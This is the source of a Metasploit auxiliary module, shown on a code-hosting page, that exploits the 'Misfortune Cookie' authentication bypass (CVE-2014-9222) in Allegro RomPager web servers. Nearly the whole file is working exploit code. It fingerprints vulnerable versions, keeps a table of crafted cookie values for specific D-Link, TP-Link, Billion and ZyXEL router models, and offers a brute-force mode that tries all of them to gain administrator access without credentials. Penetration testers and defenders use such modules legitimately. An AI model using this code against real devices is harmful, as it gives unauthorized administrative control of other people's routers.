Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass",14'Description' => %q{15This module exploits HTTP servers that appear to be vulnerable to the16'Misfortune Cookie' vulnerability which affects Allegro Software17Rompager versions before 4.34 and can allow attackers to authenticate18to the HTTP service as an administrator without providing valid19credentials.20},21'Author' => [22'Jon Hart <jon_hart[at]rapid7.com>', # metasploit scanner module23'Jan Trencansky <jan.trencansky[at]gmail.com>', # metasploit auxiliary admin module24'Lior Oppenheim' # CVE-2014-922225],26'References' => [27['CVE', '2014-9222'],28['URL', 'https://web.archive.org/web/20191006135858/http://mis.fortunecook.ie/'],29['URL', 'https://web.archive.org/web/20190207102911/http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices30['URL', 'https://web.archive.org/web/20190623150837/http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC31],32'DisclosureDate' => '2014-12-17',33'License' => MSF_LICENSE34)35)3637register_options(38[39OptString.new('TARGETURI', [true, 'URI to test', '/']),40], Exploit::Remote::HttpClient41)4243register_advanced_options(44[45Msf::OptBool.new('ForceAttempt', [ false, 'Force exploit attempt for all known cookies', false ]),46], Exploit::Remote::HttpClient47)48end4950def headers51{52'Referer' => full_uri53}54end5556# List of known values and models57def devices_list58known_devices = {59:'AZ-D140W' =>60{61name: 'Azmoon', model: 'AZ-D140W', values: [62[107367693, 13]63]64},65:'BiPAC 5102S' =>66{67name: 'Billion', model: 'BiPAC 5102S', values: [68[107369694, 13]69]70},71:'BiPAC 5200' =>72{73name: 'Billion', model: 'BiPAC 5200', values: [74[107369545, 9],75[107371218, 21]76]77},78:'BiPAC 5200A' =>79{80name: 'Billion', model: 'BiPAC 5200A', values: [81[107366366, 25],82[107371453, 9]83]84},85:'BiPAC 5200GR4' =>86{87name: 'Billion', model: 'BiPAC 5200GR4', values: [88[107367690, 21]89]90},91:'BiPAC 5200SRD' =>92{93name: 'Billion', model: 'BiPAC 5200SRD', values: [94[107368270, 1],95[107371378, 3],96[107371218, 13]97]98},99:'DSL-2520U' =>100{101name: 'D-Link', model: 'DSL-2520U', values: [102[107368902, 25]103]104},105:'DSL-2600U' =>106{107name: 'D-Link', model: 'DSL-2600U', values: [108[107366496, 13],109[107360133, 20]110]111},112:'TD-8616' =>113{114name: 'TP-Link', model: 'TD-8616', values: [115[107371483, 21],116[107369790, 17],117[107371161, 1],118[107371426, 17],119[107370211, 5],120]121},122:'TD-8817' =>123{124name: 'TP-Link', model: 'TD-8817', values: [125[107369790, 17],126[107369788, 1],127[107369522, 25],128[107369316, 21],129[107369321, 9],130[107351277, 20]131]132},133:'TD-8820' =>134{135name: 'TP-Link', model: 'TD-8820', values: [136[107369768, 17]137]138},139:'TD-8840T' =>140{141name: 'TP-Link', model: 'TD-8840T', values: [142[107369845, 5],143[107369790, 17],144[107369570, 1],145[107369766, 1],146[107369764, 5],147[107369688, 17]148]149},150:'TD-W8101G' =>151{152name: 'TP-Link', model: 'TD-W8101G', values: [153[107367772, 37],154[107367808, 21],155[107367751, 21],156[107367749, 13],157[107367765, 25],158[107367052, 25],159[107365835, 1]160]161},162:'TD-W8151N' =>163{164name: 'TP-Link', model: 'TD-W8151N', values: [165[107353867, 24]166]167},168:'TD-W8901G' =>169{170name: 'TP-Link', model: 'TD-W8901G', values: [171[107367787, 21],172[107368013, 5],173[107367854, 9],174[107367751, 21],175[107367749, 13],176[107367765, 25],177[107367682, 21],178[107365835, 1],179[107367052, 25]180]181},182:'TD-W8901GB' =>183{184name: 'TP-Link', model: 'TD-W8901GB', values: [185[107367756, 13],186[107369393, 21]187]188},189:'TD-W8901N' =>190{191name: 'TP-Link', model: 'TD-W8901N', values: [192[107353880, 0]193]194},195:'TD-W8951ND' =>196{197name: 'TP-Link', model: 'TD-W8951ND', values: [198[107369839, 25],199[107369876, 13],200[107366743, 21],201[107364759, 25],202[107364759, 13],203[107364760, 21]204]205},206:'TD-W8961NB' =>207{208name: 'TP-Link', model: 'TD-W8961NB', values: [209[107369844, 17],210[107367629, 21],211[107366421, 13]212]213},214:'TD-W8961ND' =>215{216name: 'TP-Link', model: 'TD-W8961ND', values: [217[107369839, 25],218[107369876, 13],219[107364732, 25],220[107364771, 37],221[107364762, 29],222[107353880, 0],223[107353414, 36]224]225},226:'P-660R-T3 v3' => # This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s227{228name: 'ZyXEL', model: 'P-660R-T3', values: [229[107369567, 21]230]231},232:'P-660RU-T3 v2' => # Couldn't verify this233{234name: 'ZyXEL', model: 'P-660R-T3', values: [235[107369567, 21]236]237},238ALL => # Used when `ForceAttempt` === true239{ name: 'Unknown', model: 'Forced', values: [] }240}241# collect all known cookies for a brute force option242all_cookies = []243known_devices.collect { |_, v| v[:values] }.each do |list|244all_cookies += list245end246known_devices[:ALL][:values] = all_cookies.uniq247known_devices248end249250def check_response_fingerprint(res, fallback_status)251fp = http_fingerprint(response: res)252vprint_status("Fingerprint: #{fp}")253# ensure the fingerprint at least appears vulnerable254if %r{RomPager/(?<version>[\d.]+)} =~ fp255vprint_status("#{peer} is RomPager #{version}")256if Rex::Version.new(version) < Rex::Version.new('4.34') && /realm="(?<model>.+)"/ =~ fp257return model258end259end260fallback_status261end262263def run264res = send_request_raw(265'uri' => normalize_uri(target_uri.path.to_s),266'method' => 'GET'267)268model = check_response_fingerprint(res, Exploit::CheckCode::Detected)269if model != Exploit::CheckCode::Detected270devices = devices_list[model.to_sym]271devices = devices_list[:ALL] if devices.nil? && datastore['ForceAttempt']272if !devices.nil?273print_good("Detected device:#{devices[:name]} #{devices[:model]}")274devices[:values].each do |value|275cookie = "C#{value[0]}=#{'B' * value[1]}\x00"276res = send_request_raw(277'uri' => normalize_uri(target_uri.path.to_s),278'method' => 'GET',279'headers' => headers.merge('Cookie' => cookie)280)281if !res.nil? && (res.code <= 302)282print_good('Good response, please check host, authentication should be disabled')283break284else285print_error('Bad response')286end287end288else289print_error("No matching values for fingerprint #{model}")290end291else292print_error('Unknown device')293end294end295end296297298